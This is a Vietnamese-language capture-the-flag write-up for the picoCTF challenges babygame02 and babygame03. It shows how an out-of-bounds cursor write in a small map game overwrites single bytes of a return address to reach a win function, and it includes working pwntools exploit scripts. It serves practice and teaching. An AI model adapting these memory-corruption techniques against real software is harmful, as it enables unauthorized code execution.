# PICOCTF ## babygame02 ### Phân tích - IDA check: ![image](https://hackmd.io/_uploads/rJn2occ2Jl.png) - tổng quan chương trình: một game nhỏ đòi hỏi người chơi di chuyển con trỏ của mình về điểm X trên bản đồ (tương tự trò truy tìm kho báu). - chương trình có hàm win đọc flag cho mình -> ret2win - đây là giao diện của game. ![image](https://hackmd.io/_uploads/rybUac5n1g.png) - hàm init_player() lấy giá trị của player vào và set player[0] = 4, player[1] = 4, tương đương với vị trí x và y trong player position. ![image](https://hackmd.io/_uploads/HyH9T5qhJx.png) - hàm init_map() dùng để set maps, set điểm X, điểm hiện tại mà player đang đứng và các dấu "." ![image](https://hackmd.io/_uploads/B1CJ0593Je.png) - hàm print_map() thì chỉ đơn giản dùng để print cái map ra thoai. ![image](https://hackmd.io/_uploads/BJUuAcqhyl.png) - find_player_pos() và find_end_tile_pos() dùng để ghi ra màn hình vị trí hiện tại của player và điểm X nên chúng ta không cần quan tâm chỗ này. - The real bug happens around here 🌍 ![image](https://hackmd.io/_uploads/ryzgeiqnJl.png) -> get_char dùng để ghi vào phần character ![image](https://hackmd.io/_uploads/BJgGbjchkx.png) + nếu character = "l" thì sẽ gọi getchar và thay đổi được con trỏ hiện tại thành kí tự mà người dùng muốn. + nhập "p" thì sẽ solve luôn. + nhập w,s,a,d để di chuyển trên map. !!! Lưu ý: di chuyển này có thể đi lên trên, xuống dưới vượt qua cả map, nếu như ta đổi character thành byte khác đi thì có thể ghi đè vô những địa chỉ quan trọng khác như return address,... - GDB checks: - ta thấy return của hàm move_player là 0x08049709, địa chỉ của hàm win là 0x0804975e, vậy thì idea sẽ là: di chuyển con trỏ đã đổi 1 byte cuối của ta ghi đè tới return address của hàm move_player(). Khi đó khi hàm ret về chương trình sẽ đọc flag cho ta. ### EXPLOIT b1: Cho con trỏ mình về vị trí 0:0 để dễ xác định vị trí. ``` python = payload = b"wwww" payload += b"aaaa" ``` ![image](https://hackmd.io/_uploads/Sy0Ejs9nyx.png) -> lúc này con trỏ của mình đang ở vị trí 0:0 - tiếp đến ta sẽ chuyển từ con tro @ thành ^ (tương đương với kí tự ascii số 05) để đè vào địa chỉ của return address hàm move_player() ![image](https://hackmd.io/_uploads/rk2lg3qn1l.png) -> offset = -39 - sau đó ta sẽ di chuyển sang trái 51 lần, lên trên 1 lần để ghi đè vào địa chỉ đó - em vẽ map ra cho dễ hiểu nhen ! ![image](https://hackmd.io/_uploads/HkHqhiqnke.png) ``` python = #!/usr/bin/env python3 from pwn import * exe = ELF("./game") context.binary = exe p = process() gdb.attach(p, gdbscript = ''' b main b *0x08049541 c ''') #ret = 0x08049709 #win = 0x0804975e -> khac 1 bytes -> l(5e) = l^ # l \x5e payload = b"wwww" payload += b"aaaa" payload += b"l^" # co the ghi la b"l\0x05" payload += b"d"*51 payload += b"w" input() p.sendline(payload) p.interactive() ``` debug local, ta đã có flag ![image](https://hackmd.io/_uploads/SJWcas52Jl.png) debug remote: ![image](https://hackmd.io/_uploads/rkF_0s93Jg.png) -> yah, bị EOF ngay chỗ 0:51 lun, vậy chắc là chỗ đó mình đã ghi thành 1 địa chỉ ko hợp lệ. mình sẽ thử ghi cái khác ``` python = #!/usr/bin/env python3 from pwn import * exe = ELF("./game") context.binary = exe p = remote("saturn.picoctf.net", 61872) # p = process() # gdb.attach(p, gdbscript = ''' # b main # b *0x08049541 # c # ''') # ret = 0x08049709 # win = 0x0804975e -> khac 1 bytes -> l(5e) = l^ # win + 28 = 0x08049779 # l \x5e payload = b"wwww" payload += b"aaaa" payload += b"l`" # co the ghi la b"l\x60" payload += b"d"*51 payload += b"w" input() p.sendline(payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/r1FgNnqnke.png) ## babygame03 ### Phân tích - nhìn chung thì sẽ giống babygame02 và có những điểm khác nhau cơ bản sau: ![image](https://hackmd.io/_uploads/Sy_LP25hye.png) - chương trình sẽ có thêm 1 phần live left nữa, mỗi lần di chuyển hay thay đổi thì phần này sẽ -n với n là số lần di chuyển or thay đổi ![image](https://hackmd.io/_uploads/HkGKtn93yg.png) ![image](https://hackmd.io/_uploads/S12rC2521l.png) - hàm win mở flag nhưng cần level = 5 thì mới print flag ra màn hình. - the things is: - vòng lặp do-while sẽ lặp liên tục cho tới khi nào thỏa 4 điều kiện là: x=29, y=89, level=5, v8=4 - mà chỉ di chuyển như trên bài 02 thì mình sẽ không thể nào ghi đè được đồng thời cả 4 giá trị này. **?vậy làm thế nào?** - idea: 1. mình sẽ win 4 lần để cho level và v8 bấy giờ lần lượt là 4 và 3. 2. sau đó ta ghi đè địa chỉ trả về của hàm move_player nhảy thẳng vào trong if luôn thì lúc đó thực thi xong thì v8 bấy giờ = 4, level = 5 , nhưng vẫn chưa thỏa hết các điều kiện, mà còn điều kiện x,y = 29, 89 nữa. 3. lúc này mình nghĩ tới 2 tình huống - TH1: nếu mình nhập 'p' thì có phải điều kiện x,y = 29, 89 sẽ thỏa nhưng làm sẽ chạy tiếp. Lúc này if check và thấy có điều kiện đúng rồi, nên v8 giờ đây bằng 5 và level = 6. Thế thì sẽ không thoát khỏi được loop này mất. -> LOẠI - TH2: mình sẽ giải quyết bằng ghi đè địa chỉ trả về của move_player thành địa chỉ của win -> gọi win and done. ### EXPLOIT - **bước 1**: làm cách nào để lên level? Điều kiện để có thể lên level là cần có x = 29 và y = 89 và level khác 4. - bài này khá lạ, bước đầu tớ đã thử test bằng tay để có thể làm con trỏ chạm vào biến X nhưng kì lạ rằng nó lại ko khởi động reset hàm cho tớ, nó chỉ lên level thôi. Tớ coi đây là 1 lỗi của chương trình và tớ đã bỏ qua cách này. - cách 2 của tớ đó là ghi đè biến life thành 1 số cao hơn, sau đó, tớ sẽ dùng p để có thể di chuyển dễ dàng hơn (p thì đi ngang nên đồng nghĩa mình sẽ phải có lượng live cực lớn). - vậy ghi như nào? ghi ở đâu? ![image](https://hackmd.io/_uploads/S1VLu053Jx.png) - sau khi mov một số chỗ để test thì tớ đã có idea này. Tớ sẽ ghi đè vô những byte trước đó ( trước 2d á ) thì nó sẽ tăng life cho tớ, tăng rất nhìu luôn. Nói chung là để tăng được nhiều nhất thì nên ghi vào bytes cao nhất ở địa chỉ của life (cách # 4 bytes) - vì thế ta chỉ cần mov sao cho ghi đè được địa chỉ này và rồi sử dụng "p" -> ta sẽ ezz nâng level. ```python = p.sendline(b"aaaaawwwaaaawsddddp") ``` -> lên được lv2 rùi và không bị pay màu ![image](https://hackmd.io/_uploads/Bk8IKAc31e.png) okay vậy ta sẽ dùng lại payload trên để gửi thêm 2 lần nữa và up lv lên thành 4 nhé. ```python = p.sendline(b"aaaaawwwaaaawsddddp") # -> level 2 p.sendline(b"aaaaawwwaaaawsddddp") # -> level 3 p.sendline(b"aaaaawwwaaaawsddddp") # -> level 4 ``` - **bước 2**: ghi đè return của move_player vào trong hàm if (ta sẽ không phải lo về việc check địa chỉ nữa). -> ghi địa chỉ này vào thì nó sẽ nhảy tới sau if() thực hiện trong if. ![image](https://hackmd.io/_uploads/B1pNsCc2kl.png) - stop trong move_player thì ta được stack frame sau. Tình cờ và bất ngờ sao thì ta chỉ cần ghi đè đúng 1 bytes thoai ![image](https://hackmd.io/_uploads/S1YcsRqnJg.png) - offset 51 ![image](https://hackmd.io/_uploads/B1f-3C9n1g.png) - ta sẽ đi như sau (vừa cấp được thêm life, vừa ghi đè được). ![image](https://hackmd.io/_uploads/HJd33Cc21l.png) ``` python = p.sendline(b"aaaaawwwaaaawsddddaa" + (b"aaaa" * 12) + b"l\x70w") # -> level 5 ``` -> ghi được òi ![image](https://hackmd.io/_uploads/rkffCA5nkl.png) ![image](https://hackmd.io/_uploads/Sy3v0R9hJl.png) - level thỏa mãn điều kiện gọi hàm win ròi <3 bước 3: cho ret về win - ở đây ta sẽ không nhảy thẳng vào win được vì địa chỉ ở win toàn khác 2 bytes thoai nên ta sẽ chọn 1 địa chỉ nào đó chỉ khác 1 byte mà vẫn có thể về hàm win() - Tuyệt vời luôn trên stack có địa chỉ này. ![image](https://hackmd.io/_uploads/BJ5okyi3kx.png) ![image](https://hackmd.io/_uploads/rkHi5yihJx.png) - offset = 67 ``` python = p.sendline(b"aaaaawwwaaaawsddddaa" + (b"aaaa" * 16) + b"l\xfew") ``` -> lấy được flag locally: ![image](https://hackmd.io/_uploads/B1fBx6ch1x.png) -> Và ta đẫ lấy được flag exploit remotely. ![image](https://hackmd.io/_uploads/ByvbxT9nyg.png) ### FULL SCRIPT ``` python = #!/usr/bin/env python3 from pwn import * context.binary = exe = ELF("./game03") # p = remote("rhea.picoctf.net", 58056) p = process() # gdb.attach(p, gdbscript = ''' # b main # b *0x080499cd # c # ''') input() p.sendline(b"aaaaawwwaaaawsddddp") # -> level 2 p.sendline(b"aaaaawwwaaaawsddddp") # -> level 3 p.sendline(b"aaaaawwwaaaawsddddp") # -> level 4 p.sendline(b"aaaaawwwaaaawsddddaa" + (b"aaaa" * 12) + b"l\x70w") # -> level 5 input() p.sendline(b"aaaaawwwaaaawsddddaa" + (b"aaaa" * 16) + b"l\xfew") # -> win # 0xffffc380│+0x0014: 0x00000004 - x # 0xffffc384│+0x0018: 0x00000004 - y # 0xffffc388│+0x001c: 0x00000032 - live # 0x08049970 - sau if # 0x080499fe - <+397>: sub esp,0xc (ngay trc win) #live = -7 but -4 p.interactive() ```